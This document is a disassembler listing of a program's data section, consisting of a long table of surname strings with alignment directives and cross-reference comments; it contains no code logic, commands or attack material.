align 10h
aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o
aShia db 'Shia',0 ; DATA XREF: ___:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o
aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co
aSen db 'Sen',0 ; DATA XREF: ___:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o
aRush db 'Rush',0 ; DATA XREF: ___:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: ___:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o
align 4
aMazzali db 'Mazzali',0
aMay db 'May',0
aMauzy db 'Mauzy',0
align 10h
aMattson db 'Mattson',0
aMatsukata db 'Matsukata',0
align 4
aMatarazzo db 'Matarazzo',0
align 10h
aMatalka db 'Matalka',0
aMass db 'Mass',0
align 10h
aMarubini db 'Marubini',0
align 4
aMarton db 'Marton',0
align 4
aMartochio db 'Martochio',0
align 10h
aMartinez db 'Martinez',0
align 4
aMarques db 'Marques',0
aMargetts db 'Margetts',0
align 10h
aMargalit db 'Margalit',0
align 4
aMarcus db 'Marcus',0
align 4
aMarchbanks db 'Marchbanks',0
align 10h
aMarch db 'March',0
align 4
aMantovan db 'Mantovan',0
align 4
aManganiello db 'Manganiello',0
aMandel db 'Mandel',0
align 4
aManalis db 'Manalis',0
aMalova db 'Malova',0
align 4
aMaller db 'Maller',0
align 10h
aMalatesta db 'Malatesta',0
align 4
aMaisano db 'Maisano',0
aMaineHershey db 'Maine-Hershey',0
align 4
aMaier db 'Maier',0
align 4
aMahony db 'Mahony',0
align 4
aMaggio db 'Maggio',0
align 4
aMadigan db 'Madigan',0
aMacy db 'Macy',0
align 4
aMacmillan db 'MacMillan',0
align 4
aMackenney db 'Mackenney',0
align 4
aMacintyre db 'Macintyre',0
align 10h
aMaceachern db 'Maceachern',0
align 4
aMacdonald db 'Macdonald',0
align 4
aMaccormac db 'Maccormac',0
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co
aLine db 'Line',0 ; DATA XREF: ___:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co
aLim db 'Lim',0 ; DATA XREF: ___:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o
; ___:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo
; ___:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o
aLa db 'La',0 ; DATA XREF: ___:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o
aKling db 'Kling',0 ; DATA XREF: ___:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o
align 4
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co
